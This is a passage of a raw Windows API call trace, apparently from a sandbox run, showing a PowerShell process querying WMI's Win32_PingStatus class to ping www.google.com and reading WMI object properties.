SysStringByteLen (bstr="__GENUS") returned 0xe [0140.465] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.465] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.465] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.465] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.465] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.465] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.465] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.465] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.465] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.465] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.465] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.465] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.465] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.465] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.466] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.466] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.466] SysStringByteLen (bstr="__PATH") returned 0xc [0140.466] SysStringByteLen (bstr="__PATH") returned 0xc [0140.466] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d338*=0, plFlavor=0x247d33c*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x247d338*=3, plFlavor=0x247d33c*=64) returned 0x0 [0140.466] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d36c*=0, plFlavor=0x247d370*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x247d36c*=8, plFlavor=0x247d370*=64) returned 0x0 [0140.466] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.466] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.466] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d3c4*=0, plFlavor=0x247d3c8*=0 | out: pVal=0x59ee54c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d3c4*=8, plFlavor=0x247d3c8*=64) returned 0x0 [0140.466] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d3ec*=0, plFlavor=0x247d3f0*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x247d3ec*=8, plFlavor=0x247d3f0*=64) returned 0x0 [0140.466] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.466] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.466] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d444*=0, plFlavor=0x247d448*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x247d444*=8, plFlavor=0x247d448*=64) returned 0x0 [0140.466] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.466] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.470] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d620*=0, plFlavor=0x247d624*=0 | out: pVal=0x59ee54c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x247d620*=3, plFlavor=0x247d624*=64) returned 0x0 [0140.470] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d654*=0, plFlavor=0x247d658*=0 | out: pVal=0x59ee54c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x247d654*=8200, plFlavor=0x247d658*=64) returned 0x0 [0140.471] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d688*=0, plFlavor=0x247d68c*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x247d688*=8, plFlavor=0x247d68c*=64) returned 0x0 [0140.471] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.471] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.471] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d6d4*=0, plFlavor=0x247d6d8*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x247d6d4*=8, plFlavor=0x247d6d8*=64) returned 0x0 [0140.471] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.471] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.471] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee54c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d720*=0, plFlavor=0x247d724*=0 | out: pVal=0x59ee54c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x247d720*=8, plFlavor=0x247d724*=64) returned 0x0 [0140.471] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.471] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.471] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee590 | out: puCount=0x59ee590*=0x2) returned 0x0 [0140.471] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee58c*=0xf, pszText=0x0) returned 0x0 [0140.471] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee58c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee58c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.471] IWbemClassObject:Get (in: This=0x4f432d8, wszName="address", lFlags=0, pVal=0x59ee58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d958*=0, plFlavor=0x247d95c*=0 | out: pVal=0x59ee58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x247d958*=8, plFlavor=0x247d95c*=0) returned 0x0 [0140.471] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.471] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.471] IWbemClassObject:Get (in: This=0x4f432d8, wszName="address", lFlags=0, pVal=0x59ee5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x247d958*=8, plFlavor=0x247d95c*=0 | out: pVal=0x59ee5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x247d958*=8, plFlavor=0x247d95c*=0) returned 0x0 [0140.472] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.472] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.472] GetAddrInfoW (in: pNodeName="www.google.com", pServiceName=0x0, pHints=0x59ee630*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59ee5d8 | out: ppResult=0x59ee5d8*=0x4f59b28*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4c1e0*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) returned 0 [0140.530] FreeAddrInfoW (pAddrInfo=0x4f59b28*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="www.google.com", ai_addr=0x4f4c1e0*(sa_family=2, sin_port=0x0, sin_addr="172.217.18.100"), ai_next=0x0)) [0140.530] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.531] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59ee318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.531] EtwEventActivityIdControl () returned 0x0 [0140.531] EtwEventActivityIdControl () returned 0x0 [0140.531] EtwEventActivityIdControl () returned 0x0 [0140.532] EtwEventActivityIdControl () returned 0x0 [0140.532] EtwEventActivityIdControl () returned 0x0 [0140.532] EtwEventActivityIdControl () returned 0x0 [0140.532] EtwEventActivityIdControl () returned 0x0 [0140.532] EtwEventActivityIdControl () returned 0x0 [0140.532] EtwEventActivityIdControl () returned 0x0 [0140.532] EtwEventActivityIdControl () returned 0x0 [0140.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0140.533] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0140.533] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.533] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0140.533] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0140.533] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.533] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0140.533] SafeArrayGetDim (psa=0x507480) returned 0x1 [0140.533] SafeArrayGetDim (psa=0x507480) returned 0x1 [0140.533] SafeArrayGetLBound (in: psa=0x507480, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0140.533] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.533] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.533] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.533] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.533] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.533] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.533] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.533] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.533] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.533] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.533] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.533] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.534] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.534] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.534] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.534] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.534] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.534] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.534] SysStringByteLen (bstr="__PATH") returned 0xc [0140.534] SysStringByteLen (bstr="__PATH") returned 0xc [0140.534] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2486d30*=0, plFlavor=0x2486d34*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2486d30*=3, plFlavor=0x2486d34*=64) returned 0x0 [0140.534] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2486d64*=0, plFlavor=0x2486d68*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2486d64*=8, plFlavor=0x2486d68*=64) returned 0x0 [0140.534] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.534] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.534] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2486dbc*=0, plFlavor=0x2486dc0*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2486dbc*=8, plFlavor=0x2486dc0*=64) returned 0x0 [0140.534] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2486de4*=0, plFlavor=0x2486de8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2486de4*=8, plFlavor=0x2486de8*=64) returned 0x0 [0140.534] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.534] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.535] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2486e3c*=0, plFlavor=0x2486e40*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2486e3c*=8, plFlavor=0x2486e40*=64) returned 0x0 [0140.535] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.535] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.535] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487018*=0, plFlavor=0x248701c*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2487018*=3, plFlavor=0x248701c*=64) returned 0x0 [0140.535] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248704c*=0, plFlavor=0x2487050*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248704c*=8200, plFlavor=0x2487050*=64) returned 0x0 [0140.535] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487080*=0, plFlavor=0x2487084*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2487080*=8, plFlavor=0x2487084*=64) returned 0x0 [0140.535] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.535] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.535] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24870cc*=0, plFlavor=0x24870d0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24870cc*=8, plFlavor=0x24870d0*=64) returned 0x0 [0140.535] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.535] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.536] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487118*=0, plFlavor=0x248711c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2487118*=8, plFlavor=0x248711c*=64) returned 0x0 [0140.536] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.536] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.536] IWbemClassObject:Get (in: This=0x4f432d8, wszName="BufferSize", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487350*=0, plFlavor=0x2487354*=0 | out: pVal=0x59ee898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2487350*=19, plFlavor=0x2487354*=0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.536] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0140.536] SafeArrayGetDim (psa=0x5075a0) returned 0x1 [0140.536] SafeArrayGetDim (psa=0x5075a0) returned 0x1 [0140.536] SafeArrayGetLBound (in: psa=0x5075a0, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0140.537] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.537] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.537] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.537] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.537] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.537] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.537] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.537] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.537] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.537] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.537] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.537] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.537] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.537] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.537] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.537] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.537] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.537] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.537] SysStringByteLen (bstr="__PATH") returned 0xc [0140.537] SysStringByteLen (bstr="__PATH") returned 0xc [0140.537] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487704*=0, plFlavor=0x2487708*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2487704*=3, plFlavor=0x2487708*=64) returned 0x0 [0140.538] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487738*=0, plFlavor=0x248773c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2487738*=8, plFlavor=0x248773c*=64) returned 0x0 [0140.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.538] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487790*=0, plFlavor=0x2487794*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487790*=8, plFlavor=0x2487794*=64) returned 0x0 [0140.538] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24877b8*=0, plFlavor=0x24877bc*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24877b8*=8, plFlavor=0x24877bc*=64) returned 0x0 [0140.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.538] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, 